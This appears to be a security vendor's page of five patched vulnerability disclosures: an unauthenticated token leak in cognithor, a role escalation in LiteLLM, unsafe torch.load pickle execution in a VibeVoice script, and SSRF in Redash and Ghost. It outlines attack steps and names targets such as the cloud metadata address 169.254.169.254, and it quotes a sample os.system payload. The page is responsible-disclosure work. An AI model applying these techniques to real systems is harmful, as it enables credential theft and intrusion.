Security Research
Every report below was confirmed exploitable, responsibly disclosed, and patched by the affected team.
Any Visitor Could Steal Every API Key — Zero Authentication Required
Org Admin Elevates Any User to Proxy Admin Across All Tenants in a Single Request
Malicious Checkpoint File Executes Arbitrary Code Before the App Loads
Three Query Runners Reach Internal Services, Returning Response Bodies to the API Caller
Webhook Delivery Fires Against Internal Network Addresses, Exposing Cloud Metadata
See what’s actually exploitable before attackers do.
Get a free exploit report →The /api/v1/bootstrap endpoint returns the application’s master bearer token to any caller with no authentication. Because the API server binds to 0.0.0.0 by default, any host that can reach the server port can retrieve the token in a single HTTP request then access every protected endpoint, exfiltrate all stored credentials, and trigger destructive operations such as factory reset.
On startup, cognithor generates (or reads from the environment) a master bearer token stored in _internal_api_token. This is the sole credential used by _verify_cc_token to authenticate every protected endpoint. The /api/v1/bootstrap route returns it unconditionally no auth dependency, no caller check:
The endpoint is also exempt from rate limiting, making repeated or automated retrieval completely unconstrained.
Verified against cognithor 0.71.0 in an isolated Docker container (python:3.12), default configuration, installed via pip install -e '.[web]'.
Step 1 Steal the master token (zero credentials)
Step 2 Exfiltrate full configuration (13,312 bytes, 14 API keys)
Step 3 Factory reset (destructive)
Control auth enforced on all other endpoints
Any attacker with network access to the cognithor port can silently exfiltrate every LLM API key, password, and secret in a single unauthenticated HTTP request. No prior knowledge, credentials, or user interaction required. On any deployment reachable over a local network or the internet, this is a complete compromise of all integrated third-party credentials.
Remove /api/v1/bootstrap or gate it with dependencies=[Depends(_verify_cc_token)]. The intended use case delivering the session token to the local frontend can be satisfied by embedding the token in the served HTML at render time, or passing it as a URL fragment on CLI launch (never transmitted over the network, inaccessible cross-origin).
As an immediate defence-in-depth measure, change the default bind from 0.0.0.0 to 127.0.0.1 at __main__.py:555 so the API is unreachable on external interfaces unless explicitly configured.
Fix shipped in v0.78.2 ↗ /api/v1/bootstrap now rejects non-loopback callers with 403. Default bind changed from 0.0.0.0 to 127.0.0.1. Credited in commit message, SECURITY.md, release notes, and annotated git tag.
An org_admin can elevate any user on the platform to proxy_admin via POST /user/bulk_update. Two compounding authorization failures make this possible: organization_id passes the middleware membership check but is silently dropped by Pydantic before the handler runs, so it never constrains which users can be targeted. Simultaneously, user_role passes through the update helper with no elevation check, allowing any caller who reaches the endpoint to write proxy_admin into the database for arbitrary user IDs. The impact is irreversible without direct PostgreSQL access.
Failure 1 — organization_id is a routing credential, not a scope boundary
Route-level access for org_admin is gated by _user_is_org_admin(), which reads organization_id from the raw JSON body and confirms the caller administers that org. However, organization_id is not a field in BulkUpdateUserRequest. Pydantic silently drops it on parse. The handler never receives it and never uses it to constrain which users are written to.
Failure 2 — user_role passes through the update helper with no elevation check
Any caller who reaches the endpoint can write proxy_admin into the DB for any user ID in the users list. The can_user_call_user_update() check that exists elsewhere in the codebase is not applied to user_role writes here.
Step 1 — Enumerate target users (org_admin can call /user/list)
Step 2 — Escalate arbitrary users to proxy_admin
Step 3 — Verify escalation
Users across organizations — including users completely unrelated to the attacker’s org — are now proxy_admin. The organization_id field served only as a routing credential; it was never applied as a data filter.
Any org_admin credential — obtained via phishing, credential stuffing, or insider access — can elevate arbitrary users to proxy_admin in a single API call. proxy_admin has full access to all LLM model configurations, API keys, spend data, and routing rules for every tenant on the platform. There is no API-level rollback; recovery requires a direct UPDATE litellm_usertable SET user_role = ... in PostgreSQL.
Fix 1 — enforce organization_id as a data filter
Add organization_id to BulkUpdateUserRequest so Pydantic preserves it, then filter the target users list inside bulk_user_update() to only users belonging to that org before any write.
Fix 2 — add a role-elevation guard
Fix 1 shipped in v1.83.7-stable (PR #25554). Fix 2 shipped in v1.83.8-nightly (PR #25541).
VibeVoice’s checkpoint conversion script called torch.load() on an attacker-supplied file path with no weights_only=True guard. PyTorch’s default pickle deserializer executes arbitrary Python during unpickling — before any model code runs. A crafted .pt file drops a shell, exfiltrates credentials, or pivots to internal services the moment a developer or CI runner processes it.
convert_nnscaler_checkpoint_to_transformers.py loaded model weights using the bare torch.load() call. PyTorch ≤ 2.5 defaults to full pickle deserialization, which executes embedded Python objects during __reduce__ reconstruction. The weights_only=True flag (added in PyTorch 1.13, enforced by default in 2.6) restricts loading to safe tensor primitives and was not set.
Because the script is a CLI utility that accepts an arbitrary file path from the command line, any checkpoint file sourced from outside the development team — a public model hub, a shared drive, a CI artifact store — becomes a remote code execution vector.
Step 1 — Craft a malicious checkpoint
Step 2 — Pass it to the conversion script
Step 3 — Observe execution before model loads
Step 4 — Confirm on CI
Replace os.system("id > /tmp/pwned") with any payload. In a CI environment the process runs with the runner’s token and network access, enabling credential exfiltration or lateral movement before the job completes.
Any developer, CI runner, or automated pipeline that processes an externally sourced .pt checkpoint is fully compromised at the point of deserialization — before the model is inspected or any output is produced. In a cloud CI environment this typically means: repository secrets, cloud provider credentials, and internal network access.
Pass weights_only=True to every torch.load() call that handles externally sourced files. On PyTorch ≥ 2.6 this is the default; for earlier versions it must be set explicitly.
Microsoft acknowledged the disclosure and patched the affected script. Offgrid Security credited as reporter.
Three Redash query runners stored user-supplied URLs verbatim and passed them directly to requests.get() with no scheme check, hostname resolution guard, or private-range blocklist. The Elasticsearch runner’s error handler embedded full response bodies from the internal target in its API response — making this a non-blind SSRF requiring no out-of-band infrastructure. A compromised Redash admin account escalates to read access across internal HTTP services the victim org kept outside the BI tier.
The critical framing is a privilege boundary violation. A Redash admin is a BI or data engineering role — not an infrastructure role. They have no legitimate access to internal Elasticsearch admin APIs, network services, or cloud metadata. The realistic attacker is an external adversary with a compromised Redash admin credential (phishing, credential stuffing, password reuse). Redash instances are intentionally internet-facing. This SSRF collapses the boundary between application-layer compromise and infrastructure access.
All three runners stored user-supplied URLs verbatim and interpolated them directly into HTTP requests. No validation existed in any runner or in the base class.
Variant 1 — Elasticsearch (non-blind)
When the SSRF target returns any non-2xx status, r.text is embedded in the error string and returned to the caller. The attacker controls the URL; the target’s full response body is exfiltrated over the normal Redash API response.
Variant 2 — Graphite (semi-blind)
Returns HTTP status code only — useful for port probing before pivoting to the Elasticsearch runner for data extraction.
Variant 3 — Prometheus (query parameter bypass)
The internal service ignores the extra query parameter and responds normally.
Step 1 — Create data source pointing at an internal service
Step 2 — Trigger via test_connection (no query required)
Step 3 — Enumerate restricted indices
The Redash server’s network position is the attack surface. Any HTTP-native service reachable from the Redash host but not from the attacker’s machine is now accessible. Internal services reachable via this vector include: Elasticsearch admin APIs, InfluxDB, CouchDB (including /_users/_all_docs), Prometheus, unauthenticated Grafana instances (connection strings for all data sources), Docker daemon on port 2375, and Kubernetes API server.
On EC2 instances with IMDSv1 enabled, the Elasticsearch error handler exfiltrates IAM credentials (AccessKeyId, SecretAccessKey, SessionToken) from 169.254.169.254 in a single API call.
Redash maintainers acknowledged the report and updated all affected query runners to use Advocate for consistency with BaseHTTPQueryRunner, ensuring ENFORCE_PRIVATE_ADDRESS_BLOCK applies uniformly. They classified the change as a hardening improvement rather than a security fix, noting that data source creation is gated by @require_admin and that configuring connections to arbitrary hosts is a core product function.
All three runners updated to route outbound requests through Advocate with ENFORCE_PRIVATE_ADDRESS_BLOCK enabled. No CVE or advisory issued.
Ghost’s webhook delivery path used a plain HTTP client with no SSRF protections. An authenticated admin could register a webhook pointing at internal network addresses — including AWS/GCP/Azure instance metadata endpoints — and trigger it by publishing a post. Ghost already maintained a hardened request library (request-external.js) used everywhere else in the codebase; the webhook path simply never called it.
Ghost maintains two HTTP clients. @tryghost/request is a plain got wrapper with no URL validation. request-external.js is a hardened wrapper that blocks all RFC-1918 and link-local ranges, handles octal/hex notation and IPv4-mapped IPv6, and prevents DNS rebinding via a custom lookup hook. Ghost uses request-external.js for oEmbed fetches, webmention processing, recommendation metadata, and external media inlining — but webhook-trigger.js used the unprotected client.
Step 1 — Create an integration
Step 2 — Register a webhook targeting AWS metadata
Step 3 — Trigger by publishing a post
Step 4 — Read the observable signal
This is a blind SSRF — response bodies are not returned. However, the HTTP status code and Node.js error string stored in last_triggered_status / last_triggered_error are sufficient for precise internal port scanning, cloud metadata probing (confirming whether IMDSv1 or IMDSv2 is active), and reaching internal HTTP endpoints that change state on a request. Ghost retries failed deliveries up to 5 times, so a single webhook registration produces up to 6 requests per trigger event.
Internal targets reachable via this vector: AWS EC2 metadata (169.254.169.254), GCP metadata service (metadata.google.internal), Azure IMDS, Docker host gateway (172.17.0.1), internal databases, Kubernetes API server, and Prometheus metrics endpoints.
Replace the unprotected HTTP client in webhook delivery with request-external.js — the hardened library Ghost already uses everywhere else. This is a one-line change in webhook-trigger.js:
As defence-in-depth, validate target_url at webhook creation time: enforce http/https scheme and optionally block private hostname patterns in the data schema.
Patched in 815962d ↗ — Ghost now routes webhook delivery through request-external.js.